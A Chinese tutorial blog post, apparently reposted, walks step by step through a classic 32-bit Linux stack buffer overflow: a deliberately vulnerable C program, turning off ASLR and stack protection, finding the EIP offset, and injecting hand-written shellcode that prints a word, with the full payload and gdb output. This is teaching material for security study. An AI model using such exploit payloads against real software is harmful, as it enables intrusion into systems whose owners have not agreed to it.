缓冲区溢出攻击实践

缓冲区溢出攻击实践缓冲区溢出攻击方法是黑客入门的基础,本文以一个具体的实例一步步介绍如何进行最初级的缓冲区溢出攻击。

大家好,又见面了,我是你们的朋友全栈君。

缓冲区溢出攻击方法是黑客入门的基础,本文以具体实例一步步介绍如何进行最初级的缓冲区溢出攻击。


攻击前准备

本文介绍的利用方法是最原始的方法,高版本Linux已启用数据执行保护和地址随机化安全特性防止这种初级的利用方法。为了向大家展示这种攻击方法,需要做如下的事情:

禁止地址随机化功能:
echo 0 > /proc/sys/kernel/randomize_va_space

系统支持编译32位的应用程序和运行库:

示例代码


为了直接展示缓冲区漏洞攻击方法,我们省掉了与网络相关的部分,而是直接编写一个带栈缓冲区溢出的代码:

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
        char buf[32];
        FILE *fp;

        fp = fopen("bad.txt", "r");
        if (!fp) {
                perror("fopen");
                return 1;
        }

        fread(buf, 1024, 1, fp);
        printf("data: %s\n", buf);

        return 0;
}

示例代码有明显的溢出问题,在栈上定义32个字节的字符数组,但从bad.txt文件可读出多达1024个字节。
下文就是这个程序作为漏洞代码,一步步剖析如何攻击。

编译程序

gcc -Wall -g -fno-stack-protector  -o stack1 stack1.c -m32 -Wl,-zexecstack

笔者的Linux操作系统是64位的Ubuntu操作系统(12.04),该系统已支持数据执行保护功能和栈溢出检测功能。因此,使用-fno-stack-protector选项禁用栈溢出检测功能,-m32选项指定生成32位应用程序,-Wl,-zexecstack选项支持栈段可执行。

如果是32位Linux可以直接编译:gcc -Wall -g  -o stack1 stack1.c

尝试修改EIP,控制执行路径

那么,该如何利用该缓冲区溢出问题,控制程序执行我们预期的行为呢?

buf数组溢出后,从文件读取的内容会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要我们覆盖了该地址,就可以修改程序的执行路径。

为此,需要知道从文件读取多少个字节,才开始覆盖EIP呢。一种方法是反编译程序进行推导,另一种方法是基测试的方法。我们选择后者进行尝试,然后确定写个多少字节才能覆盖EIP.

为了避免肉眼去数字符个数,使用perl脚本的计数功能,可以很方便生成字特殊字符串。下面是字符串重复和拼接用法例子:

输出30个’A’字符
$ perl -e ‘printf “A”x30’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

输出30个’A’字符,后追加4个’B’字符
$ perl -e ‘printf “A”x30 . “B”x4’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 

尝试的方法很简单,EIP前的空间使用’A’填充,而EIP使用’BBBB’填充,使用两种不同的字母是为了方便找到边界。
目前知道buf大小为32个字符,可以先尝试填充32个’A’和追加’BBBB’,如果程序没有出现segment fault,则每次增加’A’字符4个,直到程序segment fault。如果 ‘BBBB’刚好对准EIP的位置,那么函数返回时,将EIP内容将给PC指针,0x42424242(B的ascii码为0x42)是不可访问地址,马上segment fault,此时eip寄存器值就是0x42424242 。

我机器上的测试过程:

$ perl -e ‘printf “A”x32 . “B”x4’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒
已溢出,造成输出乱码,但没有segment fault

$ perl -e ‘printf “A”x36 . “B”x4’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
没有segment fault

$ perl -e ‘printf “A”x40 . “B”x4’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
没有segment fault

$ perl -e ‘printf “A”x44 . “B”x4’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒▒▒▒
输出乱码,但没有segment fault

$ perl -e ‘printf “A”x48 . “B”x4’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBSegmentation fault (core dumped)
产生segment fault.

使用调试工具gdb分析此时的eip是否为0x4244242
$ gdb ./stack1 core -q
Reading symbols from /home/ivan/exploit/stack1…done.
[New LWP 6043]

warning: Can’t read pathname for load map: Input/output error.
Core was generated by `./stack1′.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) info register eip
eip            0x42424242       0x42424242


分析core文件,发现eip被写成’BBBB’,注入内容中的’BBBB’刚才对准了栈中存放EIP的位置。

找到EIP位置,离成功迈进了一大步。

注入执行代码

控制EIP之后,下步动作就是往栈里面注入二进指令顺序,然后修改EIP执行这段代码。那么当函数执行完后,就老老实实地指行注入的指令。

通常将注入的这段指令称为shellcode。这段指令通常是打开一个shell(bash),然后攻击者可以在shell执行任意命令,所以称为shellcode。

为了达到攻击成功的效果,我们不需要写一段复杂的shellcode去打开shell。为了证明成功控制程序,我们在终端上输出”FUCK”字符串,然后程序退出。

为了简单起引, 我们shellcode就相当于下面两句C语言的效果:
write(1, “FUCK\n”, 5);
exit(0);

在Linux里面,上面两个C语可通过两次系统调用(调用号分别为4和1)实现。

下面32位x86的汇编代码shell1.s:

start:xor eax, eaxxor ebx, ebxxor ecx, ecxxor edx, edx   ; 寄存器清零mov bl, 1add esp, string - start ; 调整esp指向字符串mov  ecx, espmov  dl, 5mov al, 4int 0x80                ;write(1, "FUNC\n", 5)mov al, 1mov bl, 1dec blint 0x80                ; exit(0)string:db "FUCK",0xa

接着做编译和反编译

编译命令:nasm -o shell1 shell1.s

反编译命令: ndisasm shell1


反编译结果如下:
00000000  31C0              xor ax,ax
00000002  31DB              xor bx,bx
00000004  31C9              xor cx,cx
00000006  31D2              xor dx,dx
00000008  B301              mov bl,0x1
0000000A  83C41D            add sp,byte +0x1d
0000000D  89E1              mov cx,sp
0000000F  B205              mov dl,0x5
00000011  B004              mov al,0x4
00000013  CD80              int 0x80
00000015  B001              mov al,0x1
00000017  B301              mov bl,0x1
00000019  FECB              dec bl
0000001B  CD80              int 0x80
0000001D  46                inc si
0000001E  55                push bp
0000001F  43                inc bx
00000020  4B                dec bx
00000021  0A                db 0x0a

根上述反编译出来的字节码,使用如下的perl命令来生成:

perl -e ‘printf “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”‘

那么,将之前测试的那段注入内容拼在一块,生成的命令如下:
perl -e ‘printf “A”x48 . “B”x4 . “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”‘ > bad.txt

打通任督二脉

上面找到修改EIP的位置,但这个EIP应该修改为什么值,函数返回时,才能执行注入的shellcode呢。

很简单,当函数返回时,EIP值弹出给PC,然后ESP寄存器值往上走,刚才指向我们的shellcode。因此,我们再使用上面的注入内容,生成core时,esp寄存器的值,就是shellcode的开始地址,也就是EIP应该注入的值。

$ perl -e ‘printf “A”x48 . “B”x4 . “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”‘ > bad.txt ;./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK                             ▒/▒▒
Segmentation fault (core dumped)

$ gdb ./stack1 core -q
Reading symbols from /home/ivan/exploit/stack1…done.
[New LWP 7399]

warning: Can’t read pathname for load map: Input/output error.
Core was generated by `./stack1′.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) info register esp
esp            0xffffd710       0xffffd710


esp值为0xffffd710,EIP注入值就是该值,但由于X86是小端的字节序,所以注入字节串为”\x10\xd7\xff\xff”

所以将EIP原来的注入值’BBBB’变成“\x10\xd7\xff\xff”即可。再次测试:

$ perl -e ‘printf “A”x48 .“\x10\xd7\xff\xff” . “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”‘ > bad.txt ;./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK                              ▒/▒▒
FUCK

成功了,程序输出FUCK字符串了,证明成功控制了EIP,并执行shellcode.

小结

这里没有任何魔术手法,完全是利用缓冲区溢出漏洞,控制程序执行用户注入的一段shellcode。是否要动手试试,那赶快吧,但不同的机器,EIP对准的位置是不一样的,请大家测试时注意。

本文介绍的是最古老(10+前年)的攻击技术,当前硬件已支持数据保护功能,也即栈上注入的指令无法执行,同时现在操作系统默认启用地址随机化功能,很难猜测到EIP注入的地址。

但这里技术,都不妨碍我们学习最古老的攻击技术;后面的文章会沿着攻防的思路,介绍保护机制以及新一轮的攻击技术。

============= 回顾一下本系列文章 ==============

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/157989.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • ideaspringboot启动_idea中java代码无法运行

    ideaspringboot启动_idea中java代码无法运行idea解决Command line is too long. Shorten command line for ServiceStarter or also for Application报错1.在IDEA里找到”.idea===>workspace.xml”2.找到,在里面添加即可

    2022年8月19日
    4
  • Python 之 cPickle用法

    Python 之 cPickle用法序列化就是通过特殊的方法将数据存储到相应存储区的过程,反序列化就是依据数据序列化时的规则进行反向执行,以取出原数据的过程。在编写程序的过程中,我们有时需要将数据进行序列化与反序列化的操作,本篇博客旨在阐述序列化与反序列化的作用及举例说明几个常用方法的使用。

    2022年6月24日
    29
  • pycharm中运行lua脚本requier sys报错_pycharm怎么安装jupyter

    pycharm中运行lua脚本requier sys报错_pycharm怎么安装jupyterpycharm中运行jupyternotebook,首先需要安装:pipinstlljupyternotebook安装完成后在pycharm中新建一个ipynb文件如下图: 然后输入代码,但运行出现了一个问题:解决方法如下:在cmd中运行jupyternotebook,可以看到url和token弄完之后确实可以运行了,但是如果把cmd关掉之后又不能运…

    2022年8月26日
    4
  • python 3Des 加密

    python 3Des 加密

    2021年11月29日
    51
  • Oracle联合索引

    Oracle联合索引Oracle联合索引分类:Oracle2012-12-0809:352110人阅读评论(0)收藏举报我现在用的是oracle9i1.一个表建立多少个索引比较合适?比如说不大于5个这个没有定论,楼主要综合查询效率和dml效率自己确定,索引可以加快select的查询速度,但也会降低delete,insert和update等dml语句的执行速度。2.联…

    2022年5月26日
    121
  • spss k均值聚类_K均值法与系统聚类法的异同

    spss k均值聚类_K均值法与系统聚类法的异同总目录:SPSS学习整理SPSS实现快速聚类(K-Means/K-均值聚类)目的适用情景数据处理SPSS操作SPSS输出结果分析知识点目的利用K均值聚类对数据快速分类适用情景数据处理SPSS操作分析——分类——K-均值聚类最大迭代次数根据数据量,分类数量,电脑情况自己调整,能选多点就把上限调高点。SPSS输出结果分析在数据集最右两列保存了该个案的分类结果与到聚类中心的距离。由于没有自定义初始中心,系统设定了三个。迭代9次后中心值不变。最终个三个聚类中心以及他们

    2025年6月29日
    1

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号